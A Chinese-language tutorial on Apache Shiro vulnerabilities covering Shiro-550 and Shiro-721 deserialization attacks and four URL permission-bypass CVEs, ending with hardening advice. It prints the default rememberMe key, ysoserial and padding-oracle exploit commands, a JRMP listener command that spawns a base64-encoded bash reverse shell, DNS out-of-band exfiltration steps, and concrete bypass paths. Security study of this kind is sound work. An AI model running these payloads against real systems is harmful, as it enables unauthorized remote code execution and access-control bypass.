Apache Shiro 反序列化与权限绕过漏洞分析及利用
字数 4867
更新时间 2026-05-10 17:36:58

Apache Shiro 反序列化与权限绕过漏洞深度分析与利用教学文档

第一章:Apache Shiro 框架概述

Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,用于处理身份验证、授权、加密和会话管理等核心安全性问题。它可以在 JavaSE 和 JavaEE 环境中使用,帮助开发人员快速构建安全的应用程序。在实际的站点测试中,登录框或权限区分功能常由 Shiro 框架负责,因此其安全性备受关注。本教学文档将系统性地阐述 Shiro 框架中的反序列化与权限绕过两大核心漏洞类型。

第二章:Shiro 反序列化漏洞详解

2.1 Web 端特征与漏洞识别

在识别可能存在漏洞的 Shiro 站点时,可通过观察 Cookie 行为进行判断:

  • 未登录状态:请求包的 Cookie 中没有 rememberMe 字段,返回包的 Set-Cookie 中也没有 deleteMe 字段。
  • 登录失败:无论是否勾选“RememberMe”选项,返回包的 Set-Cookie 中都会有 rememberMe=deleteMe 字段。
  • 登录成功(不勾选RememberMe):返回包 Set-Cookie 中包含 rememberMe=deleteMe 字段,但后续请求的 Cookie 中不会携带 rememberMe 字段。
  • 登录成功(勾选RememberMe):返回包 Set-Cookie 中包含 rememberMe=deleteMe 字段,同时会生成一个 rememberMe 的加密值。之后的所有请求的 Cookie 中都会携带此 rememberMe 字段。

核心加密机制是:CBC加密算法。在CBC模式中,明文的计算公式为:明文 = 中间值 (I) XOR 前一块密文

2.2 类型一:Shiro-550 (CVE-2016-4437)

2.2.1 漏洞原理

该漏洞的核心是 AES密钥硬编码。处理流程如下:

  1. 用户登录后:Shiro 将用户信息执行 序列化 -> AES 加密 -> Base64 编码,最终存入 rememberMe Cookie。
  2. 服务器接收请求后:会进行 Base64 解码 -> AES 解密 -> 反序列化 来恢复用户信息。
  3. 关键问题:Shiro 在此过程中使用的 AES 密钥是硬编码在源代码中的,且默认密钥为 kPH+bIxk5D2deZiIxcaaaA==

2.2.2 漏洞影响范围

  • Apache Shiro <= 1.2.4
  • 默认使用 CookieRememberMeManager 处理 rememberMe Cookie 的系统。

2.2.3 利用总结与工具

由于密钥已知(或可通过常见密钥字典爆破得到),攻击者可以构造恶意的序列化数据,经相同密钥加密后,替换 Cookie 中的 rememberMe 值,从而实现反序列化攻击,最终可能导致远程代码执行 (RCE)。

推荐利用工具

  • ShiroAttack2:集密钥爆破、利用链探测、漏洞利用于一体的综合工具。

2.3 类型二:Shiro-721 (CVE-2019-12422) - Padding Oracle 攻击

2.3.1 漏洞原理

与 Shiro-550 不同,Shiro-721 的 AES 密钥是随机生成的,不再硬编码。漏洞的根源在于 AES-128-CBC 加密模式下的 Padding Oracle 攻击

  • 攻击前提:攻击者需要拥有一个有效的(即能通过服务器验证的)rememberMe Cookie 密文。
  • 攻击本质:利用服务器在解密过程中对填充字节(Padding)有效性验证的返回差异(例如,报错信息的不同),逐步爆破出中间状态值(I),最终构造出能够通过解密验证并包含恶意序列化数据的 Cookie。

2.3.2 漏洞影响范围

  • Apache Shiro < 1.4.2

2.3.3 攻击过程精析

  1. 解密流程Ciphertext (C) 经 AES 解密得到 Intermediate (I)IInitialization Vector (IV) 进行 XOR 运算得到 Plaintext (P)。服务器会验证 P 的填充是否正确。
  2. 爆破过程(以爆破最后一个字节 IV[4] 为例):
    a. 攻击者持有合法的 Cookie 密文 C 和其对应的初始向量 IV_old
    b. 固定密文 C 不变,从 0x00 开始遍历修改 IV_old 的最后一个字节 IV[4],并将修改后的 IV_newC 一同发送给服务器。
    c. 服务器解密后检查填充。当遍历到某个值(例如 0xAA)使得填充验证通过时,根据公式 I[4] = IV_new[4] XOR P_valid_padding,可计算出 I[4] 的值。
    d. 为了构造一个解密后为指定恶意字节 P_desired 的密文,可根据公式 IV_forged[4] = I[4] XOR P_desired[4] 计算出新的、用于替换的初始向量字节。
    e. 按此方法,从最后一个字节向前逐个爆破,最终可以计算出能够使整个密文块解密为任意指定恶意明文 P_desired 的伪造初始向量 IV_forged

2.3.4 利用工具链

  1. 生成恶意序列化 payload
    java -jar ysoserial-all.jar [利用链,如 CommonsBeanutils1][命令]“ > payload.ser
    
  2. 进行Padding Oracle攻击,生成最终的恶意Cookie
    python2 shiro_exp.py “[目标URL]“ “[合法的rememberMe Cookie密文]“ payload.ser
    
    注:此过程耗时可能较长。

2.4 类型三:密钥爆破漏洞

  • 影响范围:理论上全版本,只要密钥在攻击者的爆破字典中。
  • 原理:在 AES-CBC/GCM 算法中,解密所需的 IV 直接包含在 Cookie 中,是已知的。唯一的未知量是密钥(Key)。因此,如果管理员未修改默认密钥或使用了弱密钥,攻击者可以通过暴力破解获取密钥,从而像利用 Shiro-550 一样发起攻击。

2.5 类型四:密钥已知但无回显的利用

在获取到有效密钥但命令执行无回显时,可采用以下方法:

2.5.1 DNS 外带 (Out-of-Band, OOB)

  • 原理:让目标服务器执行一条能触发 DNS 查询的命令(如 pingcurl),将执行结果或特征通过 DNS 请求发送到攻击者控制的服务器。
  • 工具shiro_rce_tool
  • 操作:在工具中输入目标地址、密钥和期望触发的 DNS 域名(如 http://yourdnslog.com),工具会尝试多种利用链。若成功,在 DNS 日志平台可看到查询记录。

2.5.2 JRMP 监听 (JRMPListener)

  • 原理:在攻击者服务器上使用 ysoserial 启动一个 JRMP 监听器,该监听器承载着恶意的反序列化对象。然后,构造一个使目标服务器连接到该 JRMP 监听器的 rememberMe Cookie,触发反序列化,从而在攻击者服务器上执行命令。
  • 操作步骤
    1. 准备反弹 Shell 命令:将反弹 Shell 的 Bash 命令进行 Base64 编码。
    2. 启动 JRMP 监听器(在攻击服务器上):
      java -jar ysoserial-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections2 “bash -c {echo,<base64_encoded_cmd>}|{base64,-d}|{bash,-i}
    3. 生成恶意 Cookie:使用 shiro_rce_tool 等工具,选择 JRMP 方式,填入攻击服务器的 IP 和监听端口,生成恶意 Cookie。
    4. 发送请求:将生成的 Cookie 替换到请求中发送给目标。成功后,目标会连接到 JRMP 监听器,执行命令,从而建立反弹 Shell 连接。

第三章:Shiro 权限绕过漏洞详解

此系列漏洞主要由 Shiro 与底层 Web 容器(如 Tomcat)或上层框架(如 Spring)对 URL 的解析、规范化、路径匹配规则存在差异所导致。

3.1 CVE-2020-1957

  • 影响版本:Shiro < 1.5.2,且 Spring 框架中只使用了 Shiro 鉴权。
  • 漏洞原理:Spring 与 Shiro 对于 /; 的处理差异导致权限绕过。
  • Payload
    • /xxx/..;/admin/ctfer (适用于 Spring 低版本 < 2.3)
    • /;/admin/ctfer (适用于 Spring 低版本 < 2.3)
    • /admin;/ctfer (Spring 全版本)

3.2 CVE-2020-11989

  • 影响版本:Shiro < 1.5.3,Spring 框架只使用 Shiro 鉴权。
  • 漏洞原理:Spring 会进行 URL 解码直到无法解码,而 Shiro 只解码一次,这种解码次数的差异导致绕过。例如,%25%32%66%2f 的二次 URL 编码,%2f/
  • Payload
    • /admin/a%25%32%66a -> Spring 解码为 /admin/a%2fa,Shiro 可能只解码一次或按不同规则匹配。
  • 其他触发条件
    • 当项目部署的 ContextPath 非根目录时(例如为 /context),可利用 /;/context/admin/user 绕过。

3.3 CVE-2020-13933

  • 影响版本:Shiro < 1.6.0,Spring 框架只使用 Shiro 鉴权。
  • 漏洞原理:由于 getServletPath() 方法在处理 URL 时出现问题,导致 ; 被错误截断。
  • Payload/admin/%3bctfer (其中 %3b; 的 URL 编码)

3.4 CVE-2020-17523

  • 影响版本:Apache Shiro < 1.7.1,Spring框架只使用Shiro鉴权。
  • 漏洞原理:Shiro 在利用 Ant 风格路径匹配器进行权限校验时,对请求路径进行了不必要的 trim() 操作,去除了末尾的空白字符,导致路径匹配被绕过。
  • Payload/admin/%20 (其中 %20 是空格)
    • 可替换为 %08 (退格)、%09 (制表符)、%0a (换行)、%0d (回车) 等其他可通过 trim() 删除的空白字符。注意,某些组合可能因 SpringBoot + Tomcat 的校验而返回 400 错误。
  • 漏洞核心:Shiro 将 /admin/%20 处理后视为 /admin/,而权限配置可能只拦截了 /admin,从而造成绕过。

第四章:总结与防御建议

4.1 漏洞总结

  • 反序列化漏洞:核心风险点在于 rememberMe 功能的加密与解密过程。Shiro-550 因硬编码密钥导致直接可利用;Shiro-721 因 Padding Oracle 攻击可绕过随机密钥;密钥爆破则是针对弱密钥的补充攻击方式。
  • 权限绕过漏洞:根源在于 Shiro 与 Web 容器/框架的 URL 处理逻辑不一致,主要涉及特殊字符(;, /, %, 空白字符等)的解析、解码、截断和路径匹配规则。

4.2 安全加固建议

  1. 升级:及时将 Apache Shiro 升级到最新安全版本。
  2. 密钥必须修改默认的 rememberMe 加密密钥,并确保使用足够强且随机的密钥。
  3. 禁用:如非必要,考虑在配置中禁用 rememberMe 功能。
  4. 过滤:在 Shiro 过滤器链中,对访问路径进行严格校验,避免使用存在歧义的通配符。
  5. 补丁:关注官方安全通告,及时应用针对权限绕过漏洞的补丁,这些补丁通常涉及对 URL 规范化逻辑的修复。
相似文章
相似文章
 全屏